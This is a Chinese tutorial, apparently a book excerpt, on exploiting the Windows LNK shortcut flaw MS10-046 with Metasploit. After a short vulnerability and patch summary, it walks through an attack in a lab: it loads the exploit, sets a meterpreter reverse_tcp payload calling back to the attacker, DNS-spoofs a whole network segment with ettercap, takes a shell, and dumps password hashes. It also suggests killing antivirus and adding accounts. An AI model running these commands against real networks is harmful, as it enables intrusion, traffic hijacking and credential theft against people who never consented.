Metasploit Framework應(yīng)用實(shí)例:代碼漏洞攻擊
Microsoft Windows快捷方式LNK文件自動(dòng)執(zhí)行代碼漏洞攻擊(MS10-046)
Metasploit Framework軟件介紹及下載:http://netsecurity.51cto.com/art/201106/268429.htm
◆漏洞描述
1、漏洞定義
Windows支持使用快捷方式或LNK文件。LNK文件是指向本地文件的引用,點(diǎn)擊LNK文件與點(diǎn)擊快捷方式所指定的目標(biāo)具有相同的效果。
Windows沒有正確地處理LNK文件,特制的LNK文件可能導(dǎo)致Windows自動(dòng)執(zhí)行快捷方式文件所指定的代碼。這些代碼可能位于USB驅(qū)動(dòng)、本地 或遠(yuǎn)程文件系統(tǒng)、光驅(qū)或其他位置,使用資源管理器查看了LNK文件所在位置就足以觸發(fā)這個(gè)漏洞。默認(rèn)下Windows啟動(dòng)了自動(dòng)加載和自動(dòng)播放功能,因此 在連接可移動(dòng)設(shè)備(如USB閃存)后Windows會(huì)自動(dòng)打開資源管理器。其他顯示文件圖標(biāo)的應(yīng)用也可用作這個(gè)漏洞的攻擊載體。受影響的Windows系統(tǒng)如下表1所示:
表1
漏洞名稱 |
受影響的Windows系統(tǒng)類型 |
MS10-046 |
Microsoft Windows XP SP3 |
Microsoft Windows XP SP2 |
|
Microsoft Windows |
|
Microsoft Windows |
|
Microsoft Windows Server 2008 |
|
Microsoft Windows Server 2008 SP2 |
|
Microsoft Windows Server 2008 R2 |
|
Microsoft Windows Server 2003 SP2 |
|
Microsoft Windows 7 |
2、關(guān)于補(bǔ)丁
Microsoft已經(jīng)為此發(fā)布了一個(gè)安全公告(MS10-046)以及相應(yīng)補(bǔ)丁:
MS10-046:Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198),其詳細(xì)說明文檔的鏈接如下:
http://www.microsoft.com/china/technet/security/bulletin/MS10-046.mspx
此安全更新解決了Windows Shell 中一個(gè)公開披露的漏洞。 如果顯示特制的快捷方式圖標(biāo),則該漏洞可能允許遠(yuǎn)程執(zhí)行代碼。成功利用此漏洞的攻擊者可以獲得與本地用戶相同的用戶權(quán)限。除了使用Windows系統(tǒng)自帶的自動(dòng)更新來升級(jí)補(bǔ)丁外,也可以使用360安全衛(wèi)士之類的第三方工具來實(shí)現(xiàn)。#p#
◆攻擊操作
接下來,我們開始使用Metasploit3進(jìn)行溢出攻擊,下面為詳細(xì)步驟。
步驟1:進(jìn)入Metasploit,載入攻擊代碼。
作為攻擊者而言,首先是進(jìn)入Metasploit。除了從菜單上直接點(diǎn)選進(jìn)入Metasploit外,我們也可以在圖形界面下打開任意一個(gè)Shell,直接輸入msfconsole命令來進(jìn)入Metasploit。如下圖-1所示,可以看到當(dāng)前包含代碼數(shù)量、參數(shù)狀態(tài)及最新版本等。
圖-1
命令如下:
search ms10_046
回車后即可看到如下圖-2所示的搜索結(jié)果,顯示存在一個(gè)名為"ms10_046_shortcut_icon_dllloader"的可用攻擊代碼。接下來,就可以載入該攻擊代碼,具體命令如下:
use windows/browser/ms10_046_shortcut_icon_dllloader
回車后如下圖所示,就載入了該攻擊代碼。
圖-2
在使用一個(gè)攻擊代碼前,需要先查看其必需的設(shè)置參數(shù)有哪些,所以先要輸入如下命令:
show options
回車后即可看到該攻擊代碼的設(shè)置參數(shù),如下圖-3所示,在圖中間可以看到SRVHOST、SRVPORT、URIPATH這三個(gè)參數(shù)是必須的,其中,SRVPORT和URIPATH是已經(jīng)默認(rèn)設(shè)置好的。
圖-3 #p#
步驟2:在Metasploit3上配置攻擊代碼。
既然知道了必需的配置參數(shù),接下來就可以使用set命令來依次配置參數(shù)。其中,設(shè)置溢出有效載荷為反向溢出,而為了使用到Metasploit中的具備強(qiáng)化Shell功能的Meterpreter,所以設(shè)置為PAYLOAD為windows/metepreter/reverse_tcp此外,由于后面攻擊者還要使用ettercap對(duì)目標(biāo)進(jìn)行DNS欺騙攻擊,所以攻擊者應(yīng)要將反彈端口的目的地設(shè)置為自身IP,即設(shè)置LHOST為自身IP。最后,使用exploit執(zhí)行溢出。具體命令如下:
set SRVHOST 攻擊者自身IP
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 攻擊者自身IP
exploit
依次輸入回車后如下圖-4所示,會(huì)顯示為啟用一個(gè)URL地址為http://10.23.0.3:80,對(duì)應(yīng)一個(gè)共享目錄\\10.23.0.3\owhBPhxMJ\。
圖-4 #p#
步驟3:配置EtterCap,執(zhí)行DNS欺騙攻擊。
關(guān)于DNS欺騙攻擊會(huì)使用到Ettercap,這款工具的操作可以參考本書12章12.1節(jié)內(nèi)容。不過在使用Ettercap進(jìn)行DNS欺騙攻擊之前,我們先修改一下Ettercap的dns模塊,即修改/usr/share/ettercap/etter.dns文件,格式為添加*.com、*.net、*.org及*.cn的解析指向?yàn)?0.23.0.3。具體命令如下:
nano /usr/share/ettercap/etter.dns
cat /usr/share/ettercap/etter.dns
執(zhí)行效果如下圖-5所示。
圖-5
修改etter.dns完畢后,就可以開啟ettercap進(jìn)行DNS欺騙攻擊了,具體命令如下:
ettercap -T -q -i eth0 -P dns_spoof // //
參數(shù)解釋:
-T 使用文字界面,建議不喜歡 GUI模式的朋友使用;
-q 指quiet模式,就是讓Ettercap表現(xiàn)得安靜些,少些不必要的文字報(bào)告;
-i 后跟網(wǎng)卡名稱,這里就是eth0;
-P 后跟需要載入的插件,這里就是dns_spoof插件;
// 指代任意MAC地址、任意IP地址,即全網(wǎng)段。
回車后即可看到如下圖-6所示。此時(shí)的Ettercap開始對(duì)當(dāng)前網(wǎng)段實(shí)施DNS欺騙攻擊。
圖-6
步驟4:收到反向溢出Shell,侵入目標(biāo)主機(jī)。
此時(shí),在目標(biāo)主機(jī)(也可認(rèn)為是受害者,采用Windows XP SP3系統(tǒng),IP地址為10.23.0.4)上打開瀏覽器,輸入網(wǎng)址http://google.com并回車,如下圖-7所示,會(huì)發(fā)現(xiàn)瀏覽器的響應(yīng)會(huì)變得緩慢。
圖-7
稍等數(shù)秒后,我們會(huì)發(fā)現(xiàn)在目標(biāo)主機(jī)上的瀏覽器上原本應(yīng)顯示為Google的主頁,突然變成了一個(gè)名為\\10.23.0.3\owhBPhxMJ的共享目錄。如下圖-8所示。
圖-8
而此時(shí),在攻擊者的主機(jī)上,在開啟EtterCap命令的Shell下,也同時(shí)出現(xiàn)了一些域名的請(qǐng)求被攔截及被同步欺騙到10.23.0.3上,如下圖-9所示,能看到一個(gè)向google.com的域名解析請(qǐng)求被EtterCap攔截并重定向到10.23.0.3上。
圖-9
回到Metasploit的Shell下,就會(huì)看到當(dāng)DNS欺騙導(dǎo)致的重定向發(fā)生后,受害者被強(qiáng)制運(yùn)行了攻擊者主機(jī)即10.23.0.3上Metasploit執(zhí)行的漏洞攻擊代碼。于是在成功溢出后,攻擊者拿到了一個(gè)反向溢出Shell。如下圖-10所示,黑框中標(biāo)出的即可獲取到一個(gè)Meterpreter Session。
圖-10
此時(shí),攻擊者可以使用Ctrl+C中斷一下攻擊代碼的實(shí)時(shí)顯示,輸入back命令回到Metasploit的根目錄后,就可以使用session查看這個(gè)反向溢出Shell的ID號(hào),然后再調(diào)用該ID即可。具體命令如下:
sessions
sessions -i 1
參數(shù)解釋:
-i num 該參數(shù)用于調(diào)用不同ID號(hào)的成功溢出Shell,后跟的num為ID號(hào)。如下圖-11所示,顯示的當(dāng)前可用Session只有1個(gè),即成功溢出10.23.0.4后獲得的Shell。
依次輸入上述命令,就可以成功調(diào)用該反向溢出Shell。如下圖-11所示,由于之前設(shè)置為Metasploit內(nèi)置的特殊Shell-Meterpreter,所以此時(shí)會(huì)看到提示符從"msf"變成了"meterpreter"。
圖-11 #p#
步驟5:入侵后在目標(biāo)主機(jī)執(zhí)行命令。
為了方便安全滲透測(cè)試人員可以更深入地研究漏洞的危害性,強(qiáng)化了的Meterpreter里也內(nèi)置了大量的工具及命令。舉幾個(gè)例子:
ps 列出當(dāng)前運(yùn)行的全部程序
如下圖-12所示,輸入ps回車后會(huì)顯示出該Windows上當(dāng)前運(yùn)行的全部程序進(jìn)程,攻擊者將根據(jù)需要使用kill來殺掉某個(gè)進(jìn)程,比如殺毒軟件。
圖-12
為了擴(kuò)展一下思路,我們?cè)賮砜纯慈绾潍@取受害者主機(jī)上的密碼Hash。具體命令如下:
use priv 使用特權(quán)工具
hashdump 獲取Windows所有用戶密碼Hash值
依次輸入上述命令然后回車后就可看到如下圖-13所示內(nèi)容,攻擊者成功地獲取到了目標(biāo)主機(jī)上的全部用戶列表及對(duì)應(yīng)的密碼Hash表。這個(gè)Hash表的內(nèi)容只要導(dǎo)入Ophcrack之類的工具中就可以輕松地破解,而關(guān)于Ophcrack的具體使用大家可以參考本書的10.1節(jié),這里就不再重復(fù)描述。
圖-13
當(dāng)然,可能有的朋友要說,在這個(gè)meterpreter里面很難輸入Windows命令。哦,是的,貌似是這樣,但是沒關(guān)系,我們可以很容易地解決這個(gè)小問題。只要輸入shell這個(gè)命令,攻擊者就能夠進(jìn)入到目標(biāo)主機(jī)的CMD界面中。
如下圖-14所示,只需要駛?cè)雜hell,回車后攻擊者就可以進(jìn)入到CMD的界面中,在這個(gè)界面里任何CMD下支持的命令都可以執(zhí)行,比如使用ipconfig來顯示當(dāng)前IP地址。如下圖-14所示,我們確實(shí)看到當(dāng)前IP顯示為10.23.0.4,對(duì),我們現(xiàn)在就在受害者的主機(jī)里。至于添加賬戶之類的命令就由小黑們按照想法自行使用啦。
圖-14
好了,到這里,Metasploit3的基本使用,我想大家都已經(jīng)學(xué)會(huì)了。